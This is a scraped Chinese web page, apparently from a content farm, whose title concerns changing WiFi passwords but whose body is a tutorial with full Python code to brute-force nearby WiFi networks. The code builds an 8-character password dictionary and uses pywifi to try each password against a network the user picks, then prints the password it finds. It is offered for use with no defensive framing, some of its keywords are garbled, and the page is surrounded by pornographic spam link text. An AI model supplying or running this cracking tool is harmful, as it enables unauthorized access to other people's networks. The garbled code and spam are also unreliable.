• <em id="6vhwh"><rt id="6vhwh"></rt></em>

    <style id="6vhwh"></style>

    <style id="6vhwh"></style>
    1. <style id="6vhwh"></style>
        <sub id="6vhwh"><p id="6vhwh"></p></sub>
        <p id="6vhwh"></p>
          1. 国产亚洲欧洲av综合一区二区三区 ,色爱综合另类图片av,亚洲av免费成人在线,久久热在线视频精品视频,成在人线av无码免费,国产精品一区二区久久毛片,亚洲精品成人片在线观看精品字幕 ,久久亚洲精品成人av秋霞

            無線局域網(wǎng)密碼(無線局域網(wǎng)密碼怎么改)

            更新時間:2023-03-01 18:14:42 閱讀: 評論:0

            一、安裝pywifi

            pywifi是在python中一個用于操作無線接口的模塊,可以跨平臺使用,Windows和Linux都支持

            在notebook或者pycharm、anaconda中安裝

            pip install pywifi

            二、構建wifi密碼字典

            一般字典包括數(shù)字(0-9)、字母(a-z,區(qū)分大小寫)、特殊字符(!@#$%^&*()_+=-)

            常規(guī)的wifi密碼為8位,且僅包括數(shù)字和小寫字母,所以我們可以從數(shù)字和字母組成的字符串中隨機挑選出8位(單個字符可重復出現(xiàn)),作為wifi密碼組成字典存入txt文檔。

            import itertools as itswords = "1234567890abcdefghijklmnopqrstuvwxyz" #可選擇的字符r =its.product(words,repeat=8) #組成8位字符串dic = open("pwd.txt","a") #存儲為wifi密碼字典#wifi密碼完成換行,并寫入txt文檔for i in r: dic.write("".join(i)) dic.write("".join(" "))dic.clo()三、python實現(xiàn)wifi攻防

            import pywifiimport timefrom pywifi import const # WiFi掃描模塊def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網(wǎng)卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() for i in range(4): time.sleep(1) print('掃描可用 WiFi 中,請稍后。。。(' + str(3 - i), end=')') print('掃描完成! ' + '-' * 38) print('{:4}{:6}{}'.format('編號', '信號強度', 'wifi名')) # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_t = t() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_t.add(wifi_name_and_signal) # 存入列表并按信號排序 wifi_name_list = list(wifi_name_t) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], rever=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list # WIFI攻防模塊def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請輸入本地用于WIFIBL攻防的密碼字典(txt格式,每個密碼占據(jù)1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍歷密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip(' ') # 創(chuàng)建wifi對象 wifi = pywifi.PyWiFi() # 創(chuàng)建網(wǎng)卡對象,為第一個wifi網(wǎng)卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處于連接狀態(tài)時,利用循環(huán)等待其斷開 pass # 創(chuàng)建連接文件(對象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 刪除所有wifi連接文件 interface.remove_all_network_profiles() # 設置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口狀態(tài)為4代表連接成功(當嘗試時間大于1.5秒之后則為錯誤密碼,經(jīng)測試測正確密碼一般都在1.5秒內連接,若要提高準確性可以設置為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f'連接成功!密碼為:{pwd}') exit(0) el: print(f'正在利用密碼 {pwd} 嘗試攻防。', end='')# 主函數(shù)def main(): # 退出標致 exit_flag = 0 # 目標編號 target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 調用掃描模塊,返回一個排序后的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要攻防的wifi編號,并對用戶輸入的編號進行判斷和異常處理 choo_exit_flag = 0 while not choo_exit_flag: try: target_num = int(input('請選擇你要嘗試攻防的wifi:')) # 如果要選擇的wifi編號在列表內,繼續(xù)二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次確認 while not choo_exit_flag: try: choo = str(input(f'你選擇要攻防的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)')) # 對用戶輸入進行小寫處理,并判斷 if choo.lower() == 'y': choo_exit_flag = 1 elif choo.lower() == 'n': break # 處理用戶其它字母輸入 el: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理用戶非字母輸入 except ValueError: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出PJ if choo_exit_flag == 1: break el: print('請重新輸入哦(*^▽^*)') except ValueError: print('只能輸入數(shù)字哦o(* ̄︶ ̄*)o') # 密碼攻防,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) rai e if __name__ == '__main__': main()四、結果展示

            通過測試,wifi密碼成功攻防,并自動連接。

            4.1 選擇要攻防的wifi名稱4.2 獲取字典4.3 成功攻防

            獲.得源碼 的方式

            轉/發(fā)/本文,私信:熱點,

            即可獲取!

            ↓↓↓不會私信地看下圖

            ↓↓↓

            ↑↑↑不會私信地看上圖

            ↑↑↑

            本文發(fā)布于:2023-02-28 20:15:00,感謝您對本站的認可!

            本文鏈接:http://www.newhan.cn/zhishi/a/167766568282780.html

            版權聲明:本站內容均來自互聯(lián)網(wǎng),僅供演示用,請勿用于商業(yè)和其他非法用途。如果侵犯了您的權益請與我們聯(lián)系,我們將在24小時內刪除。

            本文word下載地址:無線局域網(wǎng)密碼(無線局域網(wǎng)密碼怎么改).doc

            本文 PDF 下載地址:無線局域網(wǎng)密碼(無線局域網(wǎng)密碼怎么改).pdf

            相關文章
            留言與評論(共有 0 條評論)
               
            驗證碼:
            推薦文章
            排行榜
            Copyright ?2019-2022 Comsenz Inc.Powered by ? 實用文體寫作網(wǎng)旗下知識大全大全欄目是一個全百科類寶庫! 優(yōu)秀范文|法律文書|專利查詢|
            主站蜘蛛池模板: 精品国产AV无码一区二区三区| 日本熟妇XXXX潮喷视频| 99草草国产熟女视频在线| 国产精品国产高清国产av| 日韩午夜福利片段在线观看| 四虎国产精品永久在线| 成人做受120秒试看试看视频| 免费视频一区二区三区亚洲激情| 在线观看国产精品日本不卡网| 亚洲伊人久久成人综合网| 小罗莉极品一线天在线| 丰满高跟丝袜老熟女久久| 日本乱一区二区三区在线| 人妻中文字幕亚洲一区| 99久久激情国产精品| 国产无遮挡吃胸膜奶免费看| 色777狠狠狠综合| 超清无码一区二区三区| 67194亚洲无码| 国产av黄色一区二区三区| 亚洲免费一区二区三区视频| 亚洲av无码精品色午夜蛋壳| 国产一区二区精品久久凹凸| 亚洲亚洲人成综合网络| 玩弄放荡人妻少妇系列| 日本一区二区三区在线 |观看| 好爽受不了了要高潮了av| 视频一区视频二区制服丝袜 | 国产成人影院一区二区三区| 中文字幕在线视频不卡一区二区| ass少妇pics粉嫩bbw| 伊人色合天天久久综合网| 污网站在线观看视频| 久久 午夜福利 张柏芝| 国产精品一区二区传媒蜜臀| 99e久热只有精品8在线直播| 亚洲欧美日韩另类| 精品国产综合成人亚洲区| 亚洲欧美自偷自拍视频图片| 国产高清在线观看91精品| 大尺度国产一区二区视频 |